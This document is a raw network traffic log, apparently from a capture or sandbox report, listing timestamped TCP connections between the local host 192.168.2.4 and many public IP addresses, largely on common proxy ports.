Feb 23, 2024 09:45:16.678219080 CET	50084	3128	192.168.2.4	154.202.98.133
Feb 23, 2024 09:45:16.679691076 CET	2589	49896	72.10.160.90	192.168.2.4
Feb 23, 2024 09:45:16.679794073 CET	50257	3128	192.168.2.4	195.158.16.9
Feb 23, 2024 09:45:16.681472063 CET	3128	50043	185.105.230.45	192.168.2.4
Feb 23, 2024 09:45:16.682121992 CET	50063	8080	192.168.2.4	203.112.79.90
Feb 23, 2024 09:45:16.682132006 CET	50079	9990	192.168.2.4	103.234.26.163
Feb 23, 2024 09:45:16.682136059 CET	50082	1976	192.168.2.4	154.236.179.226
Feb 23, 2024 09:45:16.682272911 CET	50086	80	192.168.2.4	172.64.80.55
Feb 23, 2024 09:45:16.683288097 CET	3128	50160	185.165.46.208	192.168.2.4
Feb 23, 2024 09:45:16.683636904 CET	8080	50349	91.202.230.219	192.168.2.4
Feb 23, 2024 09:45:16.684158087 CET	80	50251	50.168.163.179	192.168.2.4
Feb 23, 2024 09:45:16.684293032 CET	3128	49815	13.234.24.116	192.168.2.4
Feb 23, 2024 09:45:16.684365988 CET	3128	49815	13.234.24.116	192.168.2.4
Feb 23, 2024 09:45:16.684452057 CET	3128	49815	13.234.24.116	192.168.2.4
Feb 23, 2024 09:45:16.684596062 CET	49815	3128	192.168.2.4	13.234.24.116
Feb 23, 2024 09:45:16.689934015 CET	1082	49736	181.209.113.234	192.168.2.4
Feb 23, 2024 09:45:16.693254948 CET	8587	49821	178.62.103.49	192.168.2.4
Feb 23, 2024 09:45:16.693641901 CET	50362	3128	192.168.2.4	144.21.53.111
Feb 23, 2024 09:45:16.693641901 CET	50074	25508	192.168.2.4	107.180.89.55
Feb 23, 2024 09:45:16.693644047 CET	50194	4153	192.168.2.4	184.82.142.201
Feb 23, 2024 09:45:16.693645954 CET	50089	999	192.168.2.4	45.225.207.183
Feb 23, 2024 09:45:16.693650007 CET	44712	50315	92.204.135.4	192.168.2.4
Feb 23, 2024 09:45:16.693656921 CET	50087	5089	192.168.2.4	67.43.236.18
Feb 23, 2024 09:45:16.693669081 CET	50093	13722	192.168.2.4	79.137.204.235
Feb 23, 2024 09:45:16.693669081 CET	50083	49426	192.168.2.4	188.164.196.30
Feb 23, 2024 09:45:16.693669081 CET	50094	4153	192.168.2.4	45.181.88.146
Feb 23, 2024 09:45:16.693671942 CET	50088	3128	192.168.2.4	154.202.108.169
Feb 23, 2024 09:45:16.693674088 CET	50096	80	192.168.2.4	46.101.19.131
Feb 23, 2024 09:45:16.693677902 CET	50092	36946	192.168.2.4	207.180.234.220
Feb 23, 2024 09:45:16.693692923 CET	50097	80	192.168.2.4	203.243.63.16
Feb 23, 2024 09:45:16.693694115 CET	50100	5678	192.168.2.4	190.232.89.125
Feb 23, 2024 09:45:16.694763899 CET	6095	49907	67.43.236.20	192.168.2.4
Feb 23, 2024 09:45:16.700192928 CET	999	50250	190.61.48.24	192.168.2.4
Feb 23, 2024 09:45:16.700743914 CET	3128	50190	178.236.246.53	192.168.2.4
Feb 23, 2024 09:45:16.709247112 CET	50091	41878	192.168.2.4	213.226.11.149
Feb 23, 2024 09:45:16.709261894 CET	50099	38242	192.168.2.4	162.144.36.208
Feb 23, 2024 09:45:16.709412098 CET	50102	3547	192.168.2.4	45.117.179.179
Feb 23, 2024 09:45:16.709413052 CET	50107	60103	192.168.2.4	95.165.163.188
Feb 23, 2024 09:45:16.709414005 CET	50103	3128	192.168.2.4	154.202.112.186
Feb 23, 2024 09:45:16.709414959 CET	49775	17182	192.168.2.4	139.99.9.218
Feb 23, 2024 09:45:16.709418058 CET	50105	3128	192.168.2.4	178.33.252.189
Feb 23, 2024 09:45:16.709418058 CET	50111	11945	192.168.2.4	92.246.139.112
Feb 23, 2024 09:45:16.710697889 CET	26077	49918	72.10.160.92	192.168.2.4
Feb 23, 2024 09:45:16.710927010 CET	19050	49860	51.83.190.248	192.168.2.4
Feb 23, 2024 09:45:16.711285114 CET	80	50098	190.58.248.86	192.168.2.4
Feb 23, 2024 09:45:16.724874973 CET	50104	8080	192.168.2.4	138.0.228.185
Feb 23, 2024 09:45:16.724878073 CET	50397	2955	192.168.2.4	72.10.160.172
Feb 23, 2024 09:45:16.724878073 CET	50160	3128	192.168.2.4	185.165.46.208
Feb 23, 2024 09:45:16.724881887 CET	49894	31979	192.168.2.4	51.77.73.67
Feb 23, 2024 09:45:16.724884033 CET	50106	64731	192.168.2.4	162.0.220.222
Feb 23, 2024 09:45:16.724884033 CET	49870	3128	192.168.2.4	91.149.224.168
Feb 23, 2024 09:45:16.724900007 CET	50120	51350	192.168.2.4	166.62.53.45
Feb 23, 2024 09:45:16.724903107 CET	50359	80	192.168.2.4	50.172.39.98
Feb 23, 2024 09:45:16.724910975 CET	50118	80	192.168.2.4	123.110.158.236
Feb 23, 2024 09:45:16.724942923 CET	50117	39180	192.168.2.4	173.212.240.168
Feb 23, 2024 09:45:16.724980116 CET	32650	49916	41.217.223.145	192.168.2.4
Feb 23, 2024 09:45:16.726437092 CET	20481	50513	5.196.111.30	192.168.2.4
Feb 23, 2024 09:45:16.730540991 CET	45365	49891	142.93.151.99	192.168.2.4
Feb 23, 2024 09:45:16.731780052 CET	80	50358	203.222.24.36	192.168.2.4
Feb 23, 2024 09:45:16.733129025 CET	80	50358	203.222.24.36	192.168.2.4
Feb 23, 2024 09:45:16.733161926 CET	80	50358	203.222.24.36	192.168.2.4
Feb 23, 2024 09:45:16.733243942 CET	50358	80	192.168.2.4	203.222.24.36
Feb 23, 2024 09:45:16.739905119 CET	6788	50409	45.43.84.163	192.168.2.4
Feb 23, 2024 09:45:16.739939928 CET	6788	50409	45.43.84.163	192.168.2.4
Feb 23, 2024 09:45:16.740009069 CET	50409	6788	192.168.2.4	45.43.84.163
Feb 23, 2024 09:45:16.740479946 CET	50130	8090	192.168.2.4	122.3.41.154
Feb 23, 2024 09:45:16.740499020 CET	50132	80	192.168.2.4	115.244.127.161
Feb 23, 2024 09:45:16.740503073 CET	50140	63128	192.168.2.4	203.110.145.82
Feb 23, 2024 09:45:16.740518093 CET	50330	80	192.168.2.4	50.200.12.86
Feb 23, 2024 09:45:16.740521908 CET	50128	8081	192.168.2.4	83.238.80.17
Feb 23, 2024 09:45:16.740523100 CET	50129	51935	192.168.2.4	159.223.71.71
Feb 23, 2024 09:45:16.740523100 CET	50135	5678	192.168.2.4	103.134.38.89
Feb 23, 2024 09:45:16.740525007 CET	50136	4145	192.168.2.4	72.210.208.101
Feb 23, 2024 09:45:16.740561962 CET	50119	64305	192.168.2.4	94.23.83.53
Feb 23, 2024 09:45:16.740561962 CET	50363	80	192.168.2.4	35.185.254.159
Feb 23, 2024 09:45:16.740570068 CET	80	49981	221.194.149.8	192.168.2.4
Feb 23, 2024 09:45:16.740639925 CET	80	49981	221.194.149.8	192.168.2.4
Feb 23, 2024 09:45:16.740695953 CET	49981	80	192.168.2.4	221.194.149.8
Feb 23, 2024 09:45:16.741520882 CET	80	49909	50.170.90.25	192.168.2.4
Feb 23, 2024 09:45:16.741959095 CET	4145	50537	184.181.217.201	192.168.2.4
Feb 23, 2024 09:45:16.743793011 CET	50537	4145	192.168.2.4	184.181.217.201
Feb 23, 2024 09:45:16.744560003 CET	3128	50182	94.142.142.140	192.168.2.4
Feb 23, 2024 09:45:16.745759964 CET	10958	50291	132.148.154.97	192.168.2.4
Feb 23, 2024 09:45:16.745800972 CET	10958	50291	132.148.154.97	192.168.2.4
Feb 23, 2024 09:45:16.745858908 CET	50291	10958	192.168.2.4	132.148.154.97
Feb 23, 2024 09:45:16.747339010 CET	64693	50123	208.87.131.151	192.168.2.4
Feb 23, 2024 09:45:16.747374058 CET	64693	50123	208.87.131.151	192.168.2.4
Feb 23, 2024 09:45:16.748166084 CET	50123	64693	192.168.2.4	208.87.131.151
Feb 23, 2024 09:45:16.755100012 CET	30001	49826	111.3.102.135	192.168.2.4
Feb 23, 2024 09:45:16.755614042 CET	49826	30001	192.168.2.4	111.3.102.135
Feb 23, 2024 09:45:16.756104946 CET	50081	80	192.168.2.4	103.44.239.244
Feb 23, 2024 09:45:16.756104946 CET	50138	8080	192.168.2.4	45.250.215.8
Feb 23, 2024 09:45:16.756124973 CET	50144	8088	192.168.2.4	103.143.9.85
Feb 23, 2024 09:45:16.756129026 CET	50419	80	192.168.2.4	50.218.57.69
Feb 23, 2024 09:45:16.756189108 CET	50148	8080	192.168.2.4	103.221.55.101
Feb 23, 2024 09:45:16.756225109 CET	50145	40350	192.168.2.4	148.72.41.47
Feb 23, 2024 09:45:16.756638050 CET	3128	50500	65.21.255.197	192.168.2.4
Feb 23, 2024 09:45:16.756717920 CET	50149	5678	192.168.2.4	212.39.114.139
Feb 23, 2024 09:45:16.756938934 CET	3128	50500	65.21.255.197	192.168.2.4
Feb 23, 2024 09:45:16.760332108 CET	39796	50347	141.94.174.6	192.168.2.4
Feb 23, 2024 09:45:16.760365963 CET	39796	50347	141.94.174.6	192.168.2.4
Feb 23, 2024 09:45:16.760421991 CET	50347	39796	192.168.2.4	141.94.174.6
Feb 23, 2024 09:45:16.761122942 CET	5769	49944	67.43.227.228	192.168.2.4
Feb 23, 2024 09:45:16.763051033 CET	80	50355	13.229.47.109	192.168.2.4
Feb 23, 2024 09:45:16.763205051 CET	80	50355	13.229.47.109	192.168.2.4
Feb 23, 2024 09:45:16.763237000 CET	80	50355	13.229.47.109	192.168.2.4
Feb 23, 2024 09:45:16.764031887 CET	50355	80	192.168.2.4	13.229.47.109
Feb 23, 2024 09:45:16.765507936 CET	80	49946	50.174.214.218	192.168.2.4
Feb 23, 2024 09:45:16.766499043 CET	80	50085	172.67.181.89	192.168.2.4
Feb 23, 2024 09:45:16.767780066 CET	2011	50345	67.43.228.253	192.168.2.4
Feb 23, 2024 09:45:16.767935991 CET	50085	80	192.168.2.4	172.67.181.89
Feb 23, 2024 09:45:16.768456936 CET	80	49783	96.114.36.9	192.168.2.4
Feb 23, 2024 09:45:16.768651962 CET	49783	80	192.168.2.4	96.114.36.9
Feb 23, 2024 09:45:16.770538092 CET	80	50086	172.64.80.55	192.168.2.4
Feb 23, 2024 09:45:16.771502972 CET	50086	80	192.168.2.4	172.64.80.55
Feb 23, 2024 09:45:16.771709919 CET	50318	80	192.168.2.4	82.208.111.19
Feb 23, 2024 09:45:16.771723986 CET	50268	8080	192.168.2.4	185.38.111.1
Feb 23, 2024 09:45:16.771734953 CET	50150	666	192.168.2.4	201.20.80.113
Feb 23, 2024 09:45:16.771739006 CET	49789	32650	192.168.2.4	154.79.254.236
Feb 23, 2024 09:45:16.771740913 CET	50146	999	192.168.2.4	167.249.29.22
Feb 23, 2024 09:45:16.771739006 CET	50388	999	192.168.2.4	191.97.16.160
Feb 23, 2024 09:45:16.771750927 CET	49982	1611	192.168.2.4	72.10.160.170
Feb 23, 2024 09:45:16.771759987 CET	49768	3256	192.168.2.4	125.87.82.86
Feb 23, 2024 09:45:16.771789074 CET	50431	30783	192.168.2.4	67.43.228.253
Feb 23, 2024 09:45:16.771791935 CET	50147	8080	192.168.2.4	103.4.94.2
Feb 23, 2024 09:45:16.771794081 CET	50156	80	192.168.2.4	193.231.40.182
Feb 23, 2024 09:45:16.771820068 CET	50152	80	192.168.2.4	152.230.215.123
Feb 23, 2024 09:45:16.771840096 CET	50159	8888	192.168.2.4	217.219.74.130
Feb 23, 2024 09:45:16.771852970 CET	50151	3128	192.168.2.4	154.202.127.106
Feb 23, 2024 09:45:16.771908998 CET	50158	8080	192.168.2.4	181.129.43.3
Feb 23, 2024 09:45:16.771990061 CET	80	50534	62.99.138.162	192.168.2.4
Feb 23, 2024 09:45:16.772031069 CET	50162	3128	192.168.2.4	103.132.52.210
Feb 23, 2024 09:45:16.774322987 CET	52420	50255	162.214.102.121	192.168.2.4
Feb 23, 2024 09:45:16.776767015 CET	80	50143	43.231.22.229	192.168.2.4
Feb 23, 2024 09:45:16.776802063 CET	45314	50307	104.238.100.115	192.168.2.4
Feb 23, 2024 09:45:16.787368059 CET	50131	62842	192.168.2.4	146.190.84.209
Feb 23, 2024 09:45:16.787369013 CET	50155	16379	192.168.2.4	51.15.241.5
Feb 23, 2024 09:45:16.787368059 CET	50157	49382	192.168.2.4	173.249.33.122
Feb 23, 2024 09:45:16.787405014 CET	49945	4145	192.168.2.4	199.102.105.242
Feb 23, 2024 09:45:16.787405014 CET	50166	18675	192.168.2.4	185.171.24.5
Feb 23, 2024 09:45:16.787405968 CET	50168	3128	192.168.2.4	154.202.125.38
Feb 23, 2024 09:45:16.787440062 CET	50170	999	192.168.2.4	179.49.162.133
Feb 23, 2024 09:45:16.787452936 CET	50172	20754	192.168.2.4	208.87.131.151
Feb 23, 2024 09:45:16.787455082 CET	50169	36841	192.168.2.4	139.59.149.137
Feb 23, 2024 09:45:16.787514925 CET	50392	6969	192.168.2.4	190.61.32.168
Feb 23, 2024 09:45:16.787514925 CET	50406	80	192.168.2.4	149.202.172.113
Feb 23, 2024 09:45:16.787543058 CET	50426	80	192.168.2.4	68.188.59.198
Feb 23, 2024 09:45:16.795250893 CET	8989	50211	47.56.110.204	192.168.2.4
Feb 23, 2024 09:45:16.795284986 CET	20481	50513	5.196.111.30	192.168.2.4
Feb 23, 2024 09:45:16.795316935 CET	20481	50513	5.196.111.30	192.168.2.4
Feb 23, 2024 09:45:16.795375109 CET	50513	20481	192.168.2.4	5.196.111.30
Feb 23, 2024 09:45:16.795387030 CET	4145	50284	142.54.236.97	192.168.2.4
Feb 23, 2024 09:45:16.795449972 CET	50284	4145	192.168.2.4	142.54.236.97
Feb 23, 2024 09:45:16.795989990 CET	31602	50095	49.13.116.170	192.168.2.4
Feb 23, 2024 09:45:16.796065092 CET	5678	50246	109.205.243.10	192.168.2.4
Feb 23, 2024 09:45:16.796097994 CET	80	50396	106.14.255.124	192.168.2.4
Feb 23, 2024 09:45:16.796132088 CET	80	50396	106.14.255.124	192.168.2.4
Feb 23, 2024 09:45:16.796163082 CET	80	50396	106.14.255.124	192.168.2.4
Feb 23, 2024 09:45:16.796196938 CET	8080	50153	190.57.245.250	192.168.2.4
Feb 23, 2024 09:45:16.796232939 CET	5089	50087	67.43.236.18	192.168.2.4
Feb 23, 2024 09:45:16.796247959 CET	50396	80	192.168.2.4	106.14.255.124
Feb 23, 2024 09:45:16.803009987 CET	50181	1080	192.168.2.4	109.73.38.156
Feb 23, 2024 09:45:16.803009987 CET	49994	14313	192.168.2.4	67.43.228.253
Feb 23, 2024 09:45:16.803009987 CET	49912	33427	192.168.2.4	91.135.80.66
Feb 23, 2024 09:45:16.803030014 CET	50500	3128	192.168.2.4	65.21.255.197
Feb 23, 2024 09:45:16.803555965 CET	26589	50535	157.185.161.100	192.168.2.4
Feb 23, 2024 09:45:16.805236101 CET	3128	49815	13.234.24.116	192.168.2.4
Feb 23, 2024 09:45:16.805305004 CET	50535	26589	192.168.2.4	157.185.161.100
Feb 23, 2024 09:45:16.806045055 CET	50393	34041	192.168.2.4	185.225.200.247
Feb 23, 2024 09:45:16.806052923 CET	50377	33429	192.168.2.4	193.106.57.7
Feb 23, 2024 09:45:16.806066990 CET	50171	46800	192.168.2.4	75.119.200.56
Feb 23, 2024 09:45:16.806075096 CET	50294	8089	192.168.2.4	111.225.152.207
Feb 23, 2024 09:45:16.806083918 CET	50177	3128	192.168.2.4	188.252.14.7
Feb 23, 2024 09:45:16.806083918 CET	50179	84	192.168.2.4	103.26.108.254
Feb 23, 2024 09:45:16.806086063 CET	50173	31280	192.168.2.4	212.115.232.79
Feb 23, 2024 09:45:16.806282997 CET	50180	8118	192.168.2.4	152.32.187.164
Feb 23, 2024 09:45:16.806284904 CET	50185	21453	192.168.2.4	104.238.111.107
Feb 23, 2024 09:45:16.806354046 CET	4145	50301	104.200.135.46	192.168.2.4
Feb 23, 2024 09:45:16.806389093 CET	4145	50305	199.102.106.94	192.168.2.4
Feb 23, 2024 09:45:16.810172081 CET	80	50527	113.252.40.144	192.168.2.4
Feb 23, 2024 09:45:16.812545061 CET	80	50210	50.231.104.58	192.168.2.4
Feb 23, 2024 09:45:16.814646959 CET	9000	50446	122.116.150.2	192.168.2.4
Feb 23, 2024 09:45:16.814682007 CET	9000	50446	122.116.150.2	192.168.2.4
Feb 23, 2024 09:45:16.818629026 CET	50187	9735	192.168.2.4	216.10.242.18
Feb 23, 2024 09:45:16.818629026 CET	50186	3128	192.168.2.4	129.154.227.14
Feb 23, 2024 09:45:16.818641901 CET	50191	18301	192.168.2.4	98.206.244.30
Feb 23, 2024 09:45:16.818702936 CET	50174	15460	192.168.2.4	145.239.2.102
Feb 23, 2024 09:45:16.818702936 CET	50427	80	192.168.2.4	50.222.245.40
Feb 23, 2024 09:45:16.818702936 CET	50376	4145	192.168.2.4	185.169.181.22
Feb 23, 2024 09:45:16.818702936 CET	50188	8968	192.168.2.4	104.238.111.107
Feb 23, 2024 09:45:16.818702936 CET	50195	44098	192.168.2.4	185.72.225.10
Feb 23, 2024 09:45:16.818753958 CET	50184	80	192.168.2.4	92.119.238.211
Feb 23, 2024 09:45:16.818785906 CET	50189	20896	192.168.2.4	91.134.140.160
Feb 23, 2024 09:45:16.818785906 CET	50196	3128	192.168.2.4	178.165.42.166
Feb 23, 2024 09:45:16.818928003 CET	5678	50006	130.193.123.34	192.168.2.4
Feb 23, 2024 09:45:16.818963051 CET	50197	1994	192.168.2.4	45.188.164.48
Feb 23, 2024 09:45:16.818967104 CET	50201	59124	192.168.2.4	5.135.137.13
Feb 23, 2024 09:45:16.819031000 CET	50006	5678	192.168.2.4	130.193.123.34
Feb 23, 2024 09:45:16.819941998 CET	2955	50397	72.10.160.172	192.168.2.4
Feb 23, 2024 09:45:16.821791887 CET	4145	49864	72.37.216.68	192.168.2.4
Feb 23, 2024 09:45:16.821939945 CET	5678	49993	125.26.22.7	192.168.2.4
Feb 23, 2024 09:45:16.822350979 CET	31602	50095	49.13.116.170	192.168.2.4
Feb 23, 2024 09:45:16.822721004 CET	31602	50095	49.13.116.170	192.168.2.4
Feb 23, 2024 09:45:16.822760105 CET	31602	50095	49.13.116.170	192.168.2.4
Feb 23, 2024 09:45:16.822798967 CET	31602	50095	49.13.116.170	192.168.2.4
Feb 23, 2024 09:45:16.822937012 CET	50095	31602	192.168.2.4	49.13.116.170
Feb 23, 2024 09:45:16.822937012 CET	50095	31602	192.168.2.4	49.13.116.170
Feb 23, 2024 09:45:16.825258017 CET	31602	50095	49.13.116.170	192.168.2.4
Feb 23, 2024 09:45:16.825295925 CET	31602	50095	49.13.116.170	192.168.2.4
Feb 23, 2024 09:45:16.825392008 CET	50095	31602	192.168.2.4	49.13.116.170
Feb 23, 2024 09:45:16.828841925 CET	31602	50095	49.13.116.170	192.168.2.4
Feb 23, 2024 09:45:16.828896046 CET	31602	50095	49.13.116.170	192.168.2.4
Feb 23, 2024 09:45:16.829040051 CET	50095	31602	192.168.2.4	49.13.116.170
Feb 23, 2024 09:45:16.831429005 CET	31602	50095	49.13.116.170	192.168.2.4
Feb 23, 2024 09:45:16.831454039 CET	31602	50095	49.13.116.170	192.168.2.4
Feb 23, 2024 09:45:16.831470013 CET	8080	50010	212.174.79.165	192.168.2.4
Feb 23, 2024 09:45:16.831525087 CET	50095	31602	192.168.2.4	49.13.116.170
Feb 23, 2024 09:45:16.831552982 CET	50010	8080	192.168.2.4	212.174.79.165
Feb 23, 2024 09:45:16.832714081 CET	3128	50288	85.214.244.174	192.168.2.4
Feb 23, 2024 09:45:16.833300114 CET	3128	49853	46.101.102.134	192.168.2.4
Feb 23, 2024 09:45:16.834247112 CET	50206	80	192.168.2.4	12.186.205.123
Feb 23, 2024 09:45:16.834361076 CET	50205	999	192.168.2.4	181.233.89.174
Feb 23, 2024 09:45:16.834362030 CET	50207	42875	192.168.2.4	162.241.66.135
Feb 23, 2024 09:45:16.834378958 CET	50192	1080	192.168.2.4	195.178.197.71
Feb 23, 2024 09:45:16.838335037 CET	25508	50074	107.180.89.55	192.168.2.4
Feb 23, 2024 09:45:16.844377041 CET	80	50154	14.43.238.82	192.168.2.4
Feb 23, 2024 09:45:16.846363068 CET	50193	8080	192.168.2.4	92.255.205.129
Feb 23, 2024 09:45:16.846409082 CET	49749	80	192.168.2.4	96.113.159.162
Feb 23, 2024 09:45:16.846409082 CET	50203	3128	192.168.2.4	51.83.230.121
Feb 23, 2024 09:45:16.846504927 CET	50204	36477	192.168.2.4	192.99.37.195
Feb 23, 2024 09:45:16.846512079 CET	50209	4153	192.168.2.4	177.131.29.211
Feb 23, 2024 09:45:16.849857092 CET	50109	82	192.168.2.4	43.255.113.232
Feb 23, 2024 09:45:16.849874020 CET	50329	50415	192.168.2.4	148.72.212.252
Feb 23, 2024 09:45:16.849878073 CET	50219	34090	192.168.2.4	195.30.84.219
Feb 23, 2024 09:45:16.849878073 CET	50046	6441	192.168.2.4	67.43.236.20
Feb 23, 2024 09:45:16.849900961 CET	50220	48359	192.168.2.4	103.230.126.123
Feb 23, 2024 09:45:16.849915028 CET	50221	3128	192.168.2.4	154.201.62.249
Feb 23, 2024 09:45:16.849996090 CET	50223	56755	192.168.2.4	162.214.102.195
Feb 23, 2024 09:45:16.850013018 CET	49815	3128	192.168.2.4	13.234.24.116
Feb 23, 2024 09:45:16.851264000 CET	50224	22935	192.168.2.4	51.75.126.150
Feb 23, 2024 09:45:16.851361036 CET	50222	3128	192.168.2.4	104.164.183.251
Feb 23, 2024 09:45:16.859750986 CET	80	50419	50.218.57.69	192.168.2.4
Feb 23, 2024 09:45:16.861310005 CET	80	49781	80.228.235.6	192.168.2.4
Feb 23, 2024 09:45:16.865503073 CET	50461	10005	192.168.2.4	67.43.236.20
Feb 23, 2024 09:45:16.865503073 CET	50218	999	192.168.2.4	200.110.173.17
Feb 23, 2024 09:45:16.865508080 CET	50052	8635	192.168.2.4	72.10.164.178
Feb 23, 2024 09:45:16.865520954 CET	50226	52306	192.168.2.4	164.92.237.188
Feb 23, 2024 09:45:16.865520954 CET	50059	16703	192.168.2.4	72.10.160.93
Feb 23, 2024 09:45:16.865581036 CET	50055	27645	192.168.2.4	72.10.164.178
Feb 23, 2024 09:45:16.865581989 CET	50460	2191	192.168.2.4	72.10.164.178
Feb 23, 2024 09:45:16.865602016 CET	50321	4145	192.168.2.4	134.236.118.74
Feb 23, 2024 09:45:16.865665913 CET	50217	80	192.168.2.4	197.255.125.12
Feb 23, 2024 09:45:16.865665913 CET	49765	18681	192.168.2.4	67.43.228.250
Feb 23, 2024 09:45:16.865665913 CET	50227	3128	192.168.2.4	154.202.121.64
Feb 23, 2024 09:45:16.865765095 CET	8089	50090	125.87.89.228	192.168.2.4
Feb 23, 2024 09:45:16.866961956 CET	1611	49982	72.10.160.170	192.168.2.4
Feb 23, 2024 09:45:16.867168903 CET	30783	50431	67.43.228.253	192.168.2.4
Feb 23, 2024 09:45:16.867228031 CET	10820	50025	88.255.217.44	192.168.2.4
Feb 23, 2024 09:45:16.867594957 CET	50025	10820	192.168.2.4	88.255.217.44
Feb 23, 2024 09:45:16.867769957 CET	8080	50116	112.205.92.14	192.168.2.4
Feb 23, 2024 09:45:16.870647907 CET	51350	50120	166.62.53.45	192.168.2.4
Feb 23, 2024 09:45:16.872438908 CET	50120	51350	192.168.2.4	166.62.53.45
Feb 23, 2024 09:45:16.874950886 CET	3128	50230	186.156.161.235	192.168.2.4
Feb 23, 2024 09:45:16.875499964 CET	50514	6005	192.168.2.4	87.106.114.124
Feb 23, 2024 09:45:16.875633001 CET	50274	1080	192.168.2.4	202.162.219.12
Feb 23, 2024 09:45:16.876030922 CET	50331	80	192.168.2.4	211.222.252.187
Feb 23, 2024 09:45:16.876030922 CET	50538	1080	192.168.2.4	202.162.219.12
Feb 23, 2024 09:45:16.876110077 CET	50375	80	192.168.2.4	117.160.250.134
Feb 23, 2024 09:45:16.876399994 CET	50539	80	192.168.2.4	211.222.252.187
Feb 23, 2024 09:45:16.876629114 CET	50528	80	192.168.2.4	13.81.217.201
Feb 23, 2024 09:45:16.876647949 CET	50475	4145	192.168.2.4	116.199.170.17
Feb 23, 2024 09:45:16.876672983 CET	50540	15673	192.168.2.4	23.95.216.90
Feb 23, 2024 09:45:16.876737118 CET	50336	9002	192.168.2.4	39.165.0.137
Feb 23, 2024 09:45:16.876768112 CET	50519	8080	192.168.2.4	65.21.188.18
Feb 23, 2024 09:45:16.876781940 CET	50488	1080	192.168.2.4	27.75.152.191
Feb 23, 2024 09:45:16.876833916 CET	49941	49314	192.168.2.4	208.87.131.151
Feb 23, 2024 09:45:16.876913071 CET	50541	4145	192.168.2.4	24.249.199.4
Feb 23, 2024 09:45:16.876975060 CET	50535	26589	192.168.2.4	157.185.161.100
Feb 23, 2024 09:45:16.877029896 CET	49910	18072	192.168.2.4	109.123.254.43
Feb 23, 2024 09:45:16.877157927 CET	50497	80	192.168.2.4	64.227.106.157
Feb 23, 2024 09:45:16.877408028 CET	50542	5678	192.168.2.4	89.161.90.203
Feb 23, 2024 09:45:16.877454996 CET	50471	8081	192.168.2.4	185.49.31.207
Feb 23, 2024 09:45:16.879445076 CET	80	50359	50.172.39.98	192.168.2.4
Feb 23, 2024 09:45:16.880831957 CET	8080	50268	185.38.111.1	192.168.2.4
Feb 23, 2024 09:45:16.880883932 CET	50268	8080	192.168.2.4	185.38.111.1
Feb 23, 2024 09:45:16.881094933 CET	50309	8000	192.168.2.4	183.100.14.134
Feb 23, 2024 09:45:16.881098986 CET	50069	25053	192.168.2.4	67.43.236.20
Feb 23, 2024 09:45:16.881108046 CET	50342	5678	192.168.2.4	223.25.101.86
Feb 23, 2024 09:45:16.881115913 CET	50228	80	192.168.2.4	133.232.90.85
Feb 23, 2024 09:45:16.881124973 CET	50071	25341	192.168.2.4	67.43.227.227
Feb 23, 2024 09:45:16.881139994 CET	50238	8082	192.168.2.4	58.69.201.117
Feb 23, 2024 09:45:16.881139994 CET	50235	9898	192.168.2.4	182.160.110.154
Feb 23, 2024 09:45:16.881139994 CET	50229	8080	192.168.2.4	190.52.165.120
Feb 23, 2024 09:45:16.881139994 CET	50231	3128	192.168.2.4	91.121.89.41
Feb 23, 2024 09:45:16.881144047 CET	50234	8080	192.168.2.4	190.220.228.147
Feb 23, 2024 09:45:16.881155968 CET	50240	3128	192.168.2.4	83.219.145.106
Feb 23, 2024 09:45:16.881181955 CET	50242	13335	192.168.2.4	172.64.130.68
Feb 23, 2024 09:45:16.881184101 CET	50241	50781	192.168.2.4	50.63.12.33
Feb 23, 2024 09:45:16.884990931 CET	80	50331	211.222.252.187	192.168.2.4
Feb 23, 2024 09:45:16.891190052 CET	4145	50424	61.7.183.152	192.168.2.4
Feb 23, 2024 09:45:16.891618967 CET	4145	50424	61.7.183.152	192.168.2.4
Feb 23, 2024 09:45:16.891860962 CET	31979	49894	51.77.73.67	192.168.2.4
Feb 23, 2024 09:45:16.895185947 CET	80	49786	154.113.121.60	192.168.2.4
Feb 23, 2024 09:45:16.895519972 CET	10801	50296	95.111.91.50	192.168.2.4
Feb 23, 2024 09:45:16.896791935 CET	49818	20056	192.168.2.4	103.215.139.32
Feb 23, 2024 09:45:16.896791935 CET	49735	80	192.168.2.4	50.172.227.202
Feb 23, 2024 09:45:16.896791935 CET	50300	9999	192.168.2.4	171.35.172.147
Feb 23, 2024 09:45:16.896791935 CET	50244	14075	192.168.2.4	145.239.2.102
Feb 23, 2024 09:45:16.896800041 CET	50253	999	192.168.2.4	200.24.154.218
Feb 23, 2024 09:45:16.896817923 CET	50232	50344	192.168.2.4	109.205.181.27
Feb 23, 2024 09:45:16.896892071 CET	50245	8080	192.168.2.4	103.162.50.13
Feb 23, 2024 09:45:16.897257090 CET	50248	37259	192.168.2.4	41.223.234.116
Feb 23, 2024 09:45:16.897264004 CET	50254	9002	192.168.2.4	111.38.73.92
Feb 23, 2024 09:45:16.898684978 CET	4145	50136	72.210.208.101	192.168.2.4
Feb 23, 2024 09:45:16.899496078 CET	50136	4145	192.168.2.4	72.210.208.101
Feb 23, 2024 09:45:16.901490927 CET	80	50363	35.185.254.159	192.168.2.4
Feb 23, 2024 09:45:16.909401894 CET	3128	49870	91.149.224.168	192.168.2.4
Feb 23, 2024 09:45:16.911147118 CET	35010	50072	185.215.160.118	192.168.2.4
Feb 23, 2024 09:45:16.911245108 CET	50072	35010	192.168.2.4	185.215.160.118
Feb 23, 2024 09:45:16.912378073 CET	50438	80	192.168.2.4	50.230.222.202
Feb 23, 2024 09:45:16.912388086 CET	50265	52903	192.168.2.4	203.161.32.218
Feb 23, 2024 09:45:16.912388086 CET	50252	34090	192.168.2.4	195.30.84.213
Feb 23, 2024 09:45:16.912394047 CET	50260	23500	192.168.2.4	5.104.174.199
Feb 23, 2024 09:45:16.912398100 CET	50337	8080	192.168.2.4	103.172.1.35
Feb 23, 2024 09:45:16.912545919 CET	50267	32148	192.168.2.4	152.228.134.212
Feb 23, 2024 09:45:16.912547112 CET	50261	3128	192.168.2.4	77.68.111.73
Feb 23, 2024 09:45:16.912547112 CET	50264	8080	192.168.2.4	79.137.36.165
Feb 23, 2024 09:45:16.919775963 CET	14313	49994	67.43.228.253	192.168.2.4
Feb 23, 2024 09:45:16.924669027 CET	80	50426	68.188.59.198	192.168.2.4
Feb 23, 2024 09:45:16.928004980 CET	50258	8080	192.168.2.4	103.59.45.89
Feb 23, 2024 09:45:16.928009987 CET	50110	29129	192.168.2.4	72.10.160.90
Feb 23, 2024 09:45:16.928009987 CET	49999	31979	192.168.2.4	51.77.73.78
Feb 23, 2024 09:45:16.928015947 CET	50271	8080	192.168.2.4	2.189.148.1
Feb 23, 2024 09:45:16.928015947 CET	50259	4145	192.168.2.4	98.170.57.231
Feb 23, 2024 09:45:16.928034067 CET	50481	80	192.168.2.4	50.173.140.145
